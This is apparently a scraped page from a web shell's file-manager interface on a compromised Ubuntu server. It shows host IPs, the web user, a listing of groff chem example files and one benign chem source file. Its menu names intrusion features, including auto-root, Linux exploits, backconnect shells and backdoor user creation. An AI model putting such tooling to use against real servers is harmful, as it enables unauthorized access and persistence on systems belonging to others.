Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.191.162.61
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
groff-base /
examples /
chem /
122 /
[ HOME SHELL ]
Name
Size
Permission
Action
README
2.43
KB
-rw-r--r--
ch2a_ethyl.chem
1.29
KB
-rw-r--r--
ch2b_benzene.chem
1.28
KB
-rw-r--r--
ch2c_benzene_right.chem
1.28
KB
-rw-r--r--
ch4a_stick.chem
1.33
KB
-rw-r--r--
ch4b_methyl_acetate.chem
1.57
KB
-rw-r--r--
ch4c_colon.chem
1.34
KB
-rw-r--r--
ch4d_HCl.H2O.chem
1.28
KB
-rw-r--r--
ch4e_CaSO4.2H2O.chem
1.29
KB
-rw-r--r--
ch4f_C.chem
1.53
KB
-rw-r--r--
ch4g_BP.chem
1.6
KB
-rw-r--r--
ch4h_methacrylate.chem
2.12
KB
-rw-r--r--
ch4i_cyclo.chem
1.43
KB
-rw-r--r--
ch4j_ring4.chem
1.29
KB
-rw-r--r--
ch4k_ring3.chem
1.35
KB
-rw-r--r--
ch4l_vertex.chem
1.48
KB
-rw-r--r--
ch4m_double.chem
1.3
KB
-rw-r--r--
ch4n_triple.chem
1.29
KB
-rw-r--r--
ch4o_aromatic.chem
1.25
KB
-rw-r--r--
ch4p_cholestanol.chem
1.97
KB
-rw-r--r--
ch4q_rings.chem
1.51
KB
-rw-r--r--
ch4r_spiro.chem
1.4
KB
-rw-r--r--
ch4s_heteroatoms.chem
1.32
KB
-rw-r--r--
ch4t_polycyclic.chem
1.73
KB
-rw-r--r--
ch4u_nicotine.chem
1.38
KB
-rw-r--r--
ch4v_histidine.chem
1.48
KB
-rw-r--r--
ch4w_lsd.chem
1.69
KB
-rw-r--r--
ch4x_anisole.chem
1.39
KB
-rw-r--r--
ch4y_reserpine.chem
1.97
KB
-rw-r--r--
ch4z1_eqn_glutamic.chem
2.32
KB
-rw-r--r--
ch4z2_text.chem
1.81
KB
-rw-r--r--
ch5a_size.chem
1.5
KB
-rw-r--r--
ch6a_pic.chem
1.39
KB
-rw-r--r--
ch6b_dna.chem
1.97
KB
-rw-r--r--
chAa_polymer.chem
2.13
KB
-rw-r--r--
chAb_vinyl_chloro.chem
2.07
KB
-rw-r--r--
chAc_morphine.chem
1.68
KB
-rw-r--r--
chAd_chlorophyll.chem
2.34
KB
-rw-r--r--
chAe_chair.chem
1.57
KB
-rw-r--r--
chAf_arrow.chem
1.92
KB
-rw-r--r--
chAg_circle.chem
1.53
KB
-rw-r--r--
chAh_brackets.chem
1.57
KB
-rw-r--r--
chAi_poly_vinyl_chloride.chem
3.32
KB
-rw-r--r--
chBa_jump.chem
1.35
KB
-rw-r--r--
chBb_bonds.chem
1.38
KB
-rw-r--r--
chBc_rings.chem
1.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ch4z1_eqn_glutamic.chem
ch4z1_eqn_glutamic.chem: .br .EQ delim $$ .EN .cstart # Example file for `chem': # This originates from Computing Science Technical Report No. 122 # CHEM - A Program for Typesetting Chemical Diagrams: User Manual # by Jon L. Bentley, Lynn W. Jelinski, Brian W. Kernighan # <http://cm.bell-labs.com/cm/cs/cstr/122.ps.gz>. # Some corrections were added. # Copyright (C) 2006-2014 Free Software Foundation, Inc. # This file is part of `chem', which is part of `groff'. # `groff' is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License (GPL) version 2 as # published by the Free Software Foundation. # `groff' is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # The GPL2 license text is available in the internet at # <http://www.gnu.org/licenses/gpl-2.0.html>. ######################################################################## # a left bracket bond right length .1 ; BP bond up length .3 bond right length .1 bond down length .3 from BP bond right length .1 # this is the mainchain amide structure bond right length .1 from BP ; NH bond right ; CH # label the CH with an alpha, intended for eqn. # this line says "put the north edge of the alpha at the # south edge of the CH" "$alpha$" with .n at CH.s bond right from CH ; C double bond up from C ; O bond right length .1 from C ; BP # a right bracket bond up length .3 bond left length .1 bond right length .1 from BP bond down length .3 from BP ; BP bond left length .1 # label the degree of polymerization "$n$" with .w at BP.se # this is the sidechain bond up from CH ; CH2 "$beta$" with .e at CH2.w bond up from CH2 ; CH2 "$gamma$" with .e at CH2.w bond up from CH2 ; C # this is the benzyl ester part double bond -60 from C ; O bond 60 from C ; O bond right ; CH2C6H5 ######################################################################## ### Emacs settings # Local Variables: # mode: Nroff # End: .cend .EQ delim off .EN
Close
